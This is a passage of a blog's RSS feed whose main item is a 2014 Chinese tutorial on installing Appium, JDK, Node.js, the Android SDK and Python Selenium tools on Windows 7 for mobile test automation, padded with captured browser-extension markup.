href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421317.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:37 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421317.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appium安装教程</title><link>http://www.blogjava.net/qileilove/archive/2014/12/11/421313.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 11 Dec 2014 15:34:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/11/421313.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421313.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/11/421313.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421313.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421313.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">一、适用<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a></strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Win7 旗舰版Sp1 64位操作系统 或 32位操作系统</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">二、所需软件</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　jdk-7u45-windows-i586.exe</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　node-v0.10.28-x86.msi （32位）下载地址：http://nodejs.org/download/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adt-bundle-windows-x86-20140321.zip</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　SDK下载地址：http://developer.android.com/sdk/index.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　apache-ant-1.9.4-bin.zip ( 非必装) http://ant.apache.org/bindownload.cgi</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　apache-maven-3.1.1-bin.zip (非必装) http://maven.apache.org/download.cgi</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　ActivePython-2.7.5.6-win32-x86.msi</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　三、安装步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1）安装JDK，并进行环境变量配置</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　JDK安装很简单，按默认安装即可。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　环境变量配置：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　添加JAVA_HOME变量， 值：Jdk的安装路径，如：D:\Java\jdk1.7.0_45</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　添加CLASSPATH变量，值 .;%JAVA_HOME%\lib\tools.jar;%JAVA_HOME%\lib\dt.jar</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　修改path变量，加上这句 %JAVA_HOME%\bin;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　检查<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">JAVA</strong></u></a>环境是否配置好，进入CMD命令行，输入java或javac，可以看到好多的命令提示，说明成功了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2）安装Node.js，按默认安装即可，可以改变安装的路径。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　安装完成以后，检查Node版本安装是否成功：进入CMD，输入node -v, 可以看到版本号，说明成功了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3）安装ADT，配置环境变量</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　下载地址：http://developer.android.com/sdk/index.html?hl=sk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　下载 adt-bundle-windows-x86-20140321.zip，直接解压即可。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　配置环境变量，设置ANDROID_HOME 系统变量为你的&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>&nbsp;SDK 路径，并把tools和platform-tools两个目录加入到系统的 Path路径里。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　变量名：ANDROID_HOME 值: D:\AutoTest\adt\sdk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　设置Path值： %ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　4）联网安装<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　进入cmd命令行，输入：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　npm install &#8211;g appium 或者</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　npm --registry http://registry.cnpmjs.org install -g appium (推荐这种,npm的国内镜像)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　注：-g全局参数</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　多等几分钟，可以看到appium的版本1.1.0及安装目录</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5）检查一下appium是否安装成功。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　进入cmd命令行，输入appium</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　提示：socket.io started 说明安装好了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6）检查appium所需的环境是否OK(这步很重要)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　进入Cmd命令行，输入appium-doctor ，出现以下提示，All Checks were successful ,说明环境成功。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　7）安装Apache Ant (这一步可省)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　安装Apache Ant（http://ant.apache.org/bindownload.cgi）。解压缩文件夹，并把路径加入环境变量。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　变量： ANT_HOME 值： D:\AutoTest\ant-1.9.4</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　设置Path: %ANT_HOME%\bin;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　测试Ant是否安装成功，进入cmd命令行：输入ANT，如果没有指定build.xml就会输出：Buildfile: build.xml does notexist! Build failed<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　8）安装Apache Maven (这一步可省)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　下载Maven（http://maven.apache.org/download.cgi）,并解压缩文件夹，把路径加入环境变量。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　变量M2_HOME 值：D:\AutoTest\maven-3.1.1</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　设置Path: %M2_HOME%\bin;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　测试Maven是否成功，运行cmd，输入mvn －version如果成功，则出现maven版本等环境信息。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　安装：python+webdriver环境</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第一步：安装active-python，双击可执行文件，直接默认安装即可。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第二步：安装selenium webdriver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 打开cmd</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 命令为：pip install selenium -i http://pypi.douban.com/simple （使用国内地址）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 打开python的shell或者IDEL界面 ，输入from selenium import webdriver 如果不报错那就说明你已经安装selenium for python成功了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　4. 安装appium－python-client：(这步很重要，必须)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　进入cmd，输入：pip install Appium-Python-Client</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　以上全部安装好以后，最后就是执行实例来测试一下:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 打开Adt，创建一个模拟器，并启动android模拟器。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　2. 在cmd启动appium</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　输入：appium</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　3. 另开一个cmd终端窗口。切换到实例代码路径下，执行android_contacts.py文件。</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div> <div><div id="SL_button" class="ImTranslatorLogo"></div><div id="SL_shadow_translation_result2"></div><div id="SL_shadow_translator"><div id="SL_planshet"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result"></div><div id="SL_bbl_donate" title="Make a small contribution"></div><div id="SL_Balloon_options"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421313.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-11 23:34 <a href="http://www.blogjava.net/qileilove/archive/2014/12/11/421313.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>